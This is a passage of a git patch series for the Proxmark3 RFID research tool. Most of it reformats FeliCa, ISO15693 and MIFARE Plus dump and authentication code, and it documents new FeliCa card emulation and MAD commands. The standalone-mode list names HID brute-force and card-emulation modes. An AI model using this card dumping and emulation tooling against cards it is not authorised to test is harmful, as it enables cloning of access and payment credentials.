Dump/Emulation - Nick Draffen +| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford +| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options +| HF_YOUNG | Mifare sniff/simulation - Craig Young +| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui) +| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar By default `STANDALONE=LF_SAMYRUN`. diff --git a/tools/build_all_firmwares.sh b/tools/build_all_firmwares.sh index 256f1c764..091afa270 100755 --- a/tools/build_all_firmwares.sh +++ b/tools/build_all_firmwares.sh @@ -32,7 +32,7 @@ mv bootrom/obj/bootrom.elf "$DEST/PM3BOOTROM.elf" # cf armsrc/Standalone/Makefile.hal STANDALONE_MODES=(LF_SKELETON) STANDALONE_MODES+=(LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE) -STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG) +STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG) STANDALONE_MODES+=(DANKARMULTI) STANDALONE_MODES_REQ_BT=(HF_CARDHOPPER HF_REBLAY) STANDALONE_MODES_REQ_SMARTCARD=() From 5666cdf4e8dd766f0a395e69d3dce687efcb5338 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 23 Jun 2026 00:03:16 +0200 Subject: [PATCH 4/5] make style --- armsrc/felicasim.c | 10 +- client/src/cmdhf15.c | 25 +-- client/src/cmdhffelica.c | 22 +-- client/src/cmdhfmf.c | 2 +- client/src/cmdhfmfp.c | 55 +++--- client/src/cmdlfcotag.c | 2 +- client/src/mifare/mad_test.c | 8 +- client/src/mifare/mifare4.c | 10 +- client/src/pm3line_vocabulary.h | 13 ++ doc/commands.json | 306 ++++++++++++++++++++++++++++++-- doc/commands.md | 24 ++- 11 files changed, 399 insertions(+), 78 deletions(-) diff --git a/armsrc/felicasim.c b/armsrc/felicasim.c index d6c30690b..71727d2dd 100644 --- a/armsrc/felicasim.c +++ b/armsrc/felicasim.c @@ -312,7 +312,7 @@ static const felica_sim_node_record_t *felica_sim_find_node(const felica_sim_mod } static const felica_sim_block_record_t *felica_sim_find_block(const felica_sim_model_header_t *hdr, const uint8_t *model, - const felica_sim_node_record_t *node, uint16_t block_number) { + const felica_sim_node_record_t *node, uint16_t block_number) { const felica_sim_block_record_t *blocks = felica_sim_blocks(hdr, model); const uint16_t end = node->first_block + node->block_count; for (uint16_t i = node->first_block; i < end; i++) { @@ -467,8 +467,8 @@ static uint16_t felica_sim_process_reset_mode(const uint8_t *req, uint16_t req_l } static uint16_t felica_sim_process_request_specification_version(const felica_sim_model_header_t *hdr, const uint8_t *model, - const uint8_t *req, uint16_t req_len, - const felica_sim_system_record_t *active_system, uint8_t *resp) { + const uint8_t *req, uint16_t req_len, + const felica_sim_system_record_t *active_system, uint8_t *resp) { const uint8_t *specification_version = felica_sim_specification_version_data(hdr, model); if (specification_version == NULL || req_len != 12 || @@ -508,8 +508,8 @@ static uint16_t felica_sim_process_get_product_information(const felica_sim_mode } static uint16_t felica_sim_process_get_container_issue_information(const felica_sim_model_header_t *hdr, const uint8_t *model, - const uint8_t *req, uint16_t req_len, - const felica_sim_system_record_t *active_system, uint8_t *resp) { + const uint8_t *req, uint16_t req_len, + const felica_sim_system_record_t *active_system, uint8_t *resp) { const uint8_t *container_issue_information = felica_sim_container_issue_information_data(hdr, model); if (container_issue_information == NULL || req_len != 12 || diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 7b33f3ea5..48b9d90f2 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -1302,9 +1302,9 @@ static int reader_single_tag(bool fast, bool loop, uint8_t *afi_buf, int afi_len uint16_t raw_len = 0; raw_cmd[raw_len] = ISO15_REQ_SUBCARRIER_SINGLE - | ISO15_REQ_DATARATE_HIGH - | ISO15_REQ_INVENTORY - | ISO15_REQINV_SLOT1; + | ISO15_REQ_DATARATE_HIGH + | ISO15_REQ_INVENTORY + | ISO15_REQINV_SLOT1; if (afi_len > 0) raw_cmd[raw_len] |= ISO15_REQINV_AFI; raw_len++; @@ -1374,9 +1374,12 @@ static void iso15_render_presence_table(const iso15_seen_tag_t *seen, int n, const char *c_off = g_session.supports_colors ? "\x1b[0m" : ""; int lines = 0; - printf("hf 15 --all present %d / %d " _GREEN_("") " to exit", present, n); lines++; - printf("\n%3s %-25s %-5s %s", "#", "UID", "DSFID", "status"); lines++; - printf("\n%3s %-25s %-5s %s", "---", "-------------------------", "-----", "----------------"); lines++; + printf("hf 15 --all present %d / %d " _GREEN_("") " to exit", present, n); + lines++; + printf("\n%3s %-25s %-5s %s", "#", "UID", "DSFID", "status"); + lines++; + printf("\n%3s %-25s %-5s %s", "---", "-------------------------", "-----", "----------------"); + lines++; for (int i = 0; i < n; i++) { if (seen[i].present) { printf("\n%3d %-25s %02X %spresent%s", @@ -1400,9 +1403,9 @@ static int reader_inventory_all(bool fast, bool loop, uint8_t *afi_buf, int afi_ uint8_t mask_len; // in bits } inventory_work_item_t; - #define MAX_WORK_ITEMS 256 - #define MAX_FOUND_TAGS 64 - #define MAX_SEEN_TAGS 128 +#define MAX_WORK_ITEMS 256 +#define MAX_FOUND_TAGS 64 +#define MAX_SEEN_TAGS 128 // Persistent across scans in continuous (-@) mode: every UID seen this session. iso15_seen_tag_t seen[MAX_SEEN_TAGS]; @@ -1433,8 +1436,8 @@ static int reader_inventory_all(bool fast, bool loop, uint8_t *afi_buf, int afi_ uint16_t raw_len = 0; raw_cmd[raw_len] = ISO15_REQ_SUBCARRIER_SINGLE - | ISO15_REQ_DATARATE_HIGH - | ISO15_REQ_INVENTORY; + | ISO15_REQ_DATARATE_HIGH + | ISO15_REQ_INVENTORY; // 16-slot: do NOT set ISO15_REQINV_SLOT1 if (afi_len > 0) raw_cmd[raw_len] |= ISO15_REQINV_AFI; diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 86acca0de..384be5b97 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -1251,7 +1251,7 @@ static int felica_request_service_key_versions(uint8_t flags, const uint8_t *idm uint8_t data[1 + 1 + 8 + 1 + (FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE * 2)] = {0}; uint16_t datalen = 0; int ret = felica_build_request_service_payload(FELICA_REQSRV_REQ, idm, node_codes_le, node_count, - data, sizeof(data), &datalen); + data, sizeof(data), &datalen); if (ret != PM3_SUCCESS) { return ret; } @@ -1306,7 +1306,7 @@ static int felica_request_service_v2_key_versions(uint8_t flags, const uint8_t * uint8_t data[1 + 1 + 8 + 1 + (FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE * 2)] = {0}; uint16_t datalen = 0; int ret = felica_build_request_service_payload(FELICA_REQSRV2_REQ, idm, node_codes_le, node_count, - data, sizeof(data), &datalen); + data, sizeof(data), &datalen); if (ret != PM3_SUCCESS) { return ret; } @@ -1357,14 +1357,14 @@ static int felica_request_service_v2_key_versions(uint8_t flags, const uint8_t * for (size_t i = 0; i < returned_nodes; i++) { key_versions_out->aes_key_versions_le[i] = (uint16_t)resp.data.asBytes[offset + i * 2] | - ((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8); + ((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8); } offset += aes_bytes; if (has_des_key_versions) { for (size_t i = 0; i < returned_nodes; i++) { key_versions_out->des_key_versions_le[i] = (uint16_t)resp.data.asBytes[offset + i * 2] | - ((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8); + ((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8); } } @@ -3564,7 +3564,7 @@ static bool felica_discover_nodes_with_read_without_encryption(uint8_t *flags, uint32_t *discovered_count, int *stop_status) { return felica_discover_nodes_with_read_without_encryption_ex(flags, idm, retry_count, NULL, - visitor, ctx, discovered_count, stop_status); + visitor, ctx, discovered_count, stop_status); } static const char *felica_node_discovery_method_cli_name(felica_node_discovery_method_t method) { @@ -3629,7 +3629,7 @@ static int felica_discover_nodes(const uint8_t *idm, bool discovered = false; if (info->method == FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION) { discovered = felica_discover_nodes_with_read_without_encryption_ex(flags, idm, retry_count, pmm, - visitor, ctx, &discovered_count, &stop_status); + visitor, ctx, &discovered_count, &stop_status); } else { discovered = info->run(flags, idm, retry_count, visitor, ctx, &discovered_count, &stop_status); } @@ -4291,7 +4291,7 @@ static int felica_dump_collect_key_versions_v2(felica_dump_system_t *system, uin felica_request_service_v2_key_versions_t versions; int ret = felica_request_service_v2_key_versions(flags, system->idm, batch_codes, batch_count, - retry_count, &versions); + retry_count, &versions); if (ret != PM3_SUCCESS) { return ret; } @@ -4336,7 +4336,7 @@ static int felica_dump_collect_key_versions_v1(felica_dump_system_t *system, uin size_t returned_nodes = 0; int ret = felica_request_service_key_versions(flags, system->idm, batch_codes, batch_count, - retry_count, key_versions, &returned_nodes); + retry_count, key_versions, &returned_nodes); if (ret != PM3_SUCCESS) { return ret; } @@ -4772,7 +4772,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { PrintAndLogEx(ERR, "response code does not match"); return PM3_ERFTRANS; } - + PrintAndLogEx(SUCCESS, "Auth1 response:"); PrintAndLogEx(SUCCESS, "IDm... %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "M2C... %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c))); @@ -5646,7 +5646,7 @@ static int CmdHFFelicaDump(const char *Cmd) { uint32_t public_service_count = 0; felica_dump_system_t *dump_system = &dump_systems[dump_system_count]; const int ret = felica_dump_single_system(&discovered_systems.systems[i], dump_system, - retry_count, &discovered_nodes, &service_count, &public_service_count); + retry_count, &discovered_nodes, &service_count, &public_service_count); if (ret == PM3_EOPABORTED) { DropField(); @@ -6840,7 +6840,7 @@ static int CmdHFFelicaSim(const char *Cmd) { arg_param_begin, arg_str1("f", "file", "", "JSON dump file"), arg_str0(NULL, "read-without-encryption-error-location-indication", - "", "Read Without Encryption error location indication (default: mask)"), + "", "Read Without Encryption error location indication (default: mask)"), arg_lit0("v", "verbose", "verbose output"), arg_param_end }; diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 051bf2659..1e0b06249 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -8564,7 +8564,7 @@ static int CmdHF14AMfView(const char *Cmd) { } const mad1_sector_t *vigik_s0 = (bytes_read >= sizeof(mad1_sector_t)) - ? (const mad1_sector_t *)dump : NULL; + ? (const mad1_sector_t *)dump : NULL; int sector = vigik_s0 ? DetectHID(vigik_s0, 0x4910) : -1; if (sector > -1) { diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index f4fbc5eca..b8232bc62 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -845,9 +845,9 @@ int mfp_data_crypt(mf4Session_t *mf4session, uint8_t *dati, uint8_t *dato, bool } if (rev) { - aes_decode(IV, kenc, dati, dato, MFBLOCK_SIZE*bc); + aes_decode(IV, kenc, dati, dato, MFBLOCK_SIZE * bc); } else { - aes_encode(IV, kenc, dati, dato, MFBLOCK_SIZE*bc); + aes_encode(IV, kenc, dati, dato, MFBLOCK_SIZE * bc); } return PM3_SUCCESS; @@ -2245,10 +2245,10 @@ static int CmdHFMFPDump(const char *Cmd) { int STRead; uint8_t mac[8] = {0}; chunkCycle: - ki_pA[1] = sl3Count*2; + ki_pA[1] = sl3Count * 2; MifareAuth4(&_session, ki_pA, &aesFoundKeys[MF_KEY_A][sl3Count][1], nonfirst, !nonfirst, true, true, verbose, false); nonfirst = true; - MFPReadBlock(&_session, false, false, true, 3+sl3Count*4, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + MFPReadBlock(&_session, false, false, true, 3 + sl3Count * 4, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { PrintAndLogEx(ERR, "\nTrailer read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); goto chunkBlank; @@ -2258,17 +2258,17 @@ chunkCycle: } mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 1); // Multiblock reads do not allow reading out STs, as such this is the time to save them into the final dump - memcpy(carddata + ((3+4*sl3Count) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE); + memcpy(carddata + ((3 + 4 * sl3Count) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE); // Check if any block is encrypted only - ki_pB[1] = 0x01+sl3Count*2; + ki_pB[1] = 0x01+sl3Count * 2; MifareAuth4(&_session, ki_pB, &aesFoundKeys[MF_KEY_B][sl3Count][1], true, false, true, true, verbose, false); if (STBuffer[6] & 0xF0) { // At least one bit is set to force enc. only - MFPReadBlock(&_session, false, false, true, sl3Count*4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + MFPReadBlock(&_session, false, false, true, sl3Count * 4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { chunkBlank: PrintAndLogEx(ERR, "\nChunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); memcpy(carddata + (sl3Count * 4 * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); - memcpy(carddata + ((3+4*sl3Count) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE); + memcpy(carddata + ((3 + 4 * sl3Count) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE); PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d ( " _RED_("fail") " )", sl3Count, numSectors - 1); // Restart auth since a read failure resets it nonfirst = false; @@ -2286,7 +2286,7 @@ chunkBlank: sectorsRead++; sl3Count++; } else { - MFPReadBlock(&_session, true, false, true, sl3Count*4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + MFPReadBlock(&_session, true, false, true, sl3Count * 4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); memcpy(carddata + (sl3Count * 4 * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); @@ -2309,12 +2309,12 @@ chunkCycleClean: - if (numSectors>32){ + if (numSectors > 32) { chunkCycle2: - ki_pA[1] = sl3Count*2; + ki_pA[1] = sl3Count * 2; MifareAuth4(&_session, ki_pA, &aesFoundKeys[MF_KEY_A][sl3Count][1], nonfirst, !nonfirst, true, true, verbose, false); nonfirst = true; - MFPReadBlock(&_session, false, false, true, 128+(sl3Count-31)*16-1, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + MFPReadBlock(&_session, false, false, true, 128 + (sl3Count - 31) * 16 - 1, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { PrintAndLogEx(ERR, "Trailer read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); goto chunkBlank2; @@ -2325,22 +2325,23 @@ chunkCycle2: } mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 1); // Multiblock reads do not allow reading out STs, as such this is the time to save them into the final dump - memcpy(carddata + ((128+(sl3Count-31)*16-1) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE); + memcpy(carddata + ((128 + (sl3Count - 31) * 16 - 1) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE); int c = 0; // Check if any block is encrypted only - ki_pB[1] = 0x01+sl3Count*2; + ki_pB[1] = 0x01+sl3Count * 2; MifareAuth4(&_session, ki_pB, &aesFoundKeys[MF_KEY_B][sl3Count][1], true, false, true, true, verbose, false); if (STBuffer[6] & 0xF0) { // At least one bit is set to force enc. only chunkBlank2: // Jumping here will start the cycle which will blank out the remaining 5 chunks anyway - for (c=0; c<5; ++c) { - MFPReadBlock(&_session, false, false, true, 128+(sl3Count-32)*16+c*3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + for (c = 0; c < 5; ++c) { + MFPReadBlock(&_session, false, false, true, 128 + (sl3Count - 32) * 16 + c * 3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d chunk %d ( " _RED_("fail") " )", sl3Count, numSectors - 1, c); - memcpy(carddata + ((128+(sl3Count-31)*16-1) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE); - memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); + memcpy(carddata + ((128 + (sl3Count - 31) * 16 - 1) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE); + memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); nonfirst = false; - if (c<5) {continue;} else {sl3Count++; goto chunkCycleClean2;}; + if (c < 5) {continue;} + else {sl3Count++; goto chunkCycleClean2;}; } if (STRead != 1 + 48 + 2) { PrintAndLogEx(ERR, "Error return length: %d", STRead); @@ -2349,16 +2350,16 @@ chunkBlank2: // Jumping here will start the cycle which will blank out the remai } mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 3); PrintAndLogEx(INPLACE, "Quick-reading sector %3d / %3d ( " _GREEN_("ok") " )", sl3Count, numSectors - 1); - memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE); + memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE); } sectorsRead++; sl3Count++; } else { - for (c=0; c<5; ++c) { - MFPReadBlock(&_session, true, false, true, 128+(sl3Count-32)*16+c*3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); + for (c = 0; c < 5; ++c) { + MFPReadBlock(&_session, true, false, true, 128 + (sl3Count - 32) * 16 + c * 3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac); if (STRead && STBuffer[0] != 0x90) { PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0])); - memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); + memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE); PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d ( " _RED_("fail") " )", sl3Count, numSectors - 1); continue; } @@ -2368,8 +2369,8 @@ chunkBlank2: // Jumping here will start the cycle which will blank out the remai return PM3_ESOFT; } PrintAndLogEx(INPLACE, "Quick-reading sector %3d / %3d ( " _GREEN_("ok") " )", sl3Count, numSectors - 1); - memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE); - + memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE); + } sectorsRead++; sl3Count++; @@ -2446,7 +2447,7 @@ chunkCycleClean2: DropField(); t1 = msclock() - t1; - + // ======================================== // Print sector summary // ======================================== @@ -2547,7 +2548,7 @@ chunkCycleClean2: PrintAndLogEx(HINT, "Partial dump: %d of %d sectors read", sectorsRead, numSectors); PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp chk --dump`") " and/or " _YELLOW_("`hf mf chk`") " to find more keys"); } - + PrintAndLogEx(INFO, "\ntime in dump " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); free(carddata); return PM3_SUCCESS; diff --git a/client/src/cmdlfcotag.c b/client/src/cmdlfcotag.c index 70d086c7e..9a1d154e9 100644 --- a/client/src/cmdlfcotag.c +++ b/client/src/cmdlfcotag.c @@ -458,7 +458,7 @@ static int CmdCOTAGReader(const char *Cmd) { CLIParserInit(&ctx, "lf cotag reader", "Read a COTAG tag.\n" " - use " _YELLOW_("`lf config`") _CYAN_(" to set parameters except divisor " - "(which is assumed " STR(LF_COTAG_DIVISOR) " for cotag. Use --divisor to override).\n") + "(which is assumed " STR(LF_COTAG_DIVISOR) " for cotag. Use --divisor to override).\n") _CYAN_(" - use ") _YELLOW_("`data plot`") _CYAN_(" to look at it.\n") _CYAN_(" - use ") _YELLOW_("`lf cotag demod`") _CYAN_(" to try to demodulate it.\n") _CYAN_("If the number of samples is more than the device memory limit (40000 now), ") diff --git a/client/src/mifare/mad_test.c b/client/src/mifare/mad_test.c index ca8edad70..84adcc5fd 100644 --- a/client/src/mifare/mad_test.c +++ b/client/src/mifare/mad_test.c @@ -98,7 +98,9 @@ static uint8_t g_mock_card[MOCK_CARD_SIZE]; static int mock_read_sector(uint8_t sector_no, uint8_t key_type, const uint8_t *key, uint8_t *buf, bool verbose) { - (void)key_type; (void)key; (void)verbose; + (void)key_type; + (void)key; + (void)verbose; uint8_t first_block = mfFirstBlockOfSector(sector_no); uint8_t nblocks = mfNumBlocksPerSector(sector_no); uint32_t offset = first_block * 16; @@ -111,7 +113,9 @@ static int mock_read_sector(uint8_t sector_no, uint8_t key_type, static int mock_write_sector_data(uint8_t sector_no, uint8_t key_type, const uint8_t *key, const uint8_t *data, bool verbose) { - (void)key_type; (void)key; (void)verbose; + (void)key_type; + (void)key; + (void)verbose; uint8_t first_block = mfFirstBlockOfSector(sector_no); uint8_t ndata = mfNumBlocksPerSector(sector_no) - 1; uint32_t offset = first_block * 16; diff --git a/client/src/mifare/mifare4.c b/client/src/mifare/mifare4.c index 7908f2846..0e686c5c2 100644 --- a/client/src/mifare/mifare4.c +++ b/client/src/mifare/mifare4.c @@ -224,7 +224,8 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo } uint8_t cmd1[4]; - if (nonfirst) { cmd1[0] = 0x76; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; } else { cmd1[0] = 0x70; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; cmd1[3] = 0x00; } + if (nonfirst) { cmd1[0] = 0x76; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; } + else { cmd1[0] = 0x70; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; cmd1[3] = 0x00; } int res = ExchangeRAW14a(cmd1, nonfirst ? 3 : 4, activateField, true, data, sizeof(data), &datalen, silentMode); if (res != PM3_SUCCESS) { @@ -307,7 +308,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo memcpy(&IVW[12], &mf4session->R_Ctr, 2); memcpy(&IVW[14], &mf4session->W_Ctr, 2); memcpy(IVW, mf4session->TI, 4); - + aes_decode(IVR, key, &data[1], RndB, 16); RndB[16] = RndB[0]; if (verbose) { @@ -353,7 +354,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo PrintAndLogEx(INFO, "< phase2: %s", sprint_hex(data, datalen)); } - if (data[0]!=0x90) { + if (data[0] != 0x90) { if (silentMode == false) { PrintAndLogEx(ERR, "\nAuthentication FAILED. Card did not ACK response"); } @@ -364,7 +365,8 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo return PM3_EWRONGANSWER; } - if (nonfirst) { aes_decode(IVR, key, &data[1], raw, 16); } else { aes_decode(NULL, key, &data[1], raw, 32); } + if (nonfirst) { aes_decode(IVR, key, &data[1], raw, 16); } + else { aes_decode(NULL, key, &data[1], raw, 32); } if (verbose) { if (nonfirst) { diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 95f1a860a..b0e50fad5 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -431,6 +431,9 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mf info" }, { 0, "hf mf isen" }, { 1, "hf mf mad" }, + { 0, "hf mf madread" }, + { 0, "hf mf madwrite" }, + { 0, "hf mf madverify" }, { 0, "hf mf personalize" }, { 0, "hf mf rdbl" }, { 0, "hf mf rdsc" }, @@ -484,6 +487,9 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfp dump" }, { 0, "hf mfp info" }, { 0, "hf mfp mad" }, + { 0, "hf mfp madread" }, + { 0, "hf mfp madwrite" }, + { 0, "hf mfp madverify" }, { 0, "hf mfp rdbl" }, { 0, "hf mfp rdsc" }, { 0, "hf mfp wrbl" }, @@ -916,6 +922,13 @@ const static vocabulary_t vocabulary[] = { { 0, "lf visa2000 reader" }, { 0, "lf visa2000 clone" }, { 0, "lf visa2000 sim" }, + { 0, "mad read" }, + { 0, "mad write" }, + { 0, "mad verify" }, + { 1, "mad help" }, + { 1, "mad decode" }, + { 1, "mad encode" }, + { 1, "mad test" }, { 1, "mem help" }, { 0, "mem baudrate" }, { 0, "mem dump" }, diff --git a/doc/commands.json b/doc/commands.json index fcf6e09ec..df093608f 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1170,7 +1170,7 @@ }, "help": { "command": "help", - "description": "help Use ` help` for details of a command prefs { Edit client/device preferences... } -------- ----------------------- Technology ----------------------- analyse { Analyse utils... } data { Plot window / data buffer manipulation... } emv { EMV ISO-14443 / ISO-7816... } hf { High frequency commands... } hw { Hardware commands... } lf { Low frequency commands... } mqtt { MQTT commmands... } nfc { NFC commands... } piv { PIV commands... } reveng { CRC calculations from RevEng software... } smart { Smart card ISO-7816 commands... } script { Scripting commands... } trace { Trace manipulation... } wiegand { Wiegand format manipulation... } -------- ----------------------- General ----------------------- clear Clear screen hints Turn hints on / off msleep Add a pause in milliseconds rem Add a text line in log file quit exit Exit program --------------------------------------------------------------------------------------- auto available offline: no Run LF SEARCH / HF SEARCH / DATA PLOT / DATA SAVE", + "description": "help Use ` help` for details of a command prefs { Edit client/device preferences... } -------- ----------------------- Technology ----------------------- analyse { Analyse utils... } data { Plot window / data buffer manipulation... } emv { EMV ISO-14443 / ISO-7816... } hf { High frequency commands... } hw { Hardware commands... } lf { Low frequency commands... } mad { MAD commands... } mqtt { MQTT commmands... } nfc { NFC commands... } piv { PIV commands... } reveng { CRC calculations from RevEng software... } smart { Smart card ISO-7816 commands... } script { Scripting commands... } trace { Trace manipulation... } wiegand { Wiegand format manipulation... } -------- ----------------------- General ----------------------- clear Clear screen hints Turn hints on / off msleep Add a pause in milliseconds rem Add a text line in log file quit exit Exit program --------------------------------------------------------------------------------------- auto available offline: no Run LF SEARCH / HF SEARCH / DATA PLOT / DATA SAVE", "notes": [ "auto" ], @@ -2859,16 +2859,18 @@ "notes": [ "hf felica dump", "hf felica dump --retry 5", - "hf felica dump --idm 11100910C11BC407" + "hf felica dump --idm 11100910C11BC407", + "hf felica dump -f my-felica-dump" ], "offline": false, "options": [ "-h, --help This help", "--no-auth read public services", "-r, --retry number of retries", - "--idm use custom IDm" + "--idm use custom IDm", + "-f, --file Specify a filename for JSON dump file" ], - "usage": "hf felica dump [-h] [--no-auth] [-r ] [--idm ]" + "usage": "hf felica dump [-h] [--no-auth] [-r ] [--idm ] [-f ]" }, "hf felica help": { "command": "hf felica help", @@ -3112,6 +3114,23 @@ ], "usage": "hf felica seacinfo [-h]" }, + "hf felica sim": { + "command": "hf felica sim", + "description": "Emulate a FeliCa Standard card from a JSON dump generated by `hf felica dump`.", + "notes": [ + "hf felica sim -f hf-felica-dump.json", + "hf felica sim -f hf-felica-dump --read-without-encryption-error-location-indication index", + "hf felica sim -f hf-felica-dump --read-without-encryption-error-location-indication flag -v" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-f, --file JSON dump file", + "--read-without-encryption-error-location-indication Read Without Encryption error location indication (default: mask)", + "-v, --verbose verbose output" + ], + "usage": "hf felica sim [-hv] -f [--read-without-encryption-error-location-indication ]" + }, "hf felica sniff": { "command": "hf felica sniff", "description": "Collect data from the field and save into command buffer. Buffer accessible from `hf felica list`", @@ -6324,6 +6343,74 @@ ], "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch] [-f ] [--force]" }, + "hf mf madread": { + "command": "hf mf madread", + "description": "Read application data from sectors matching a 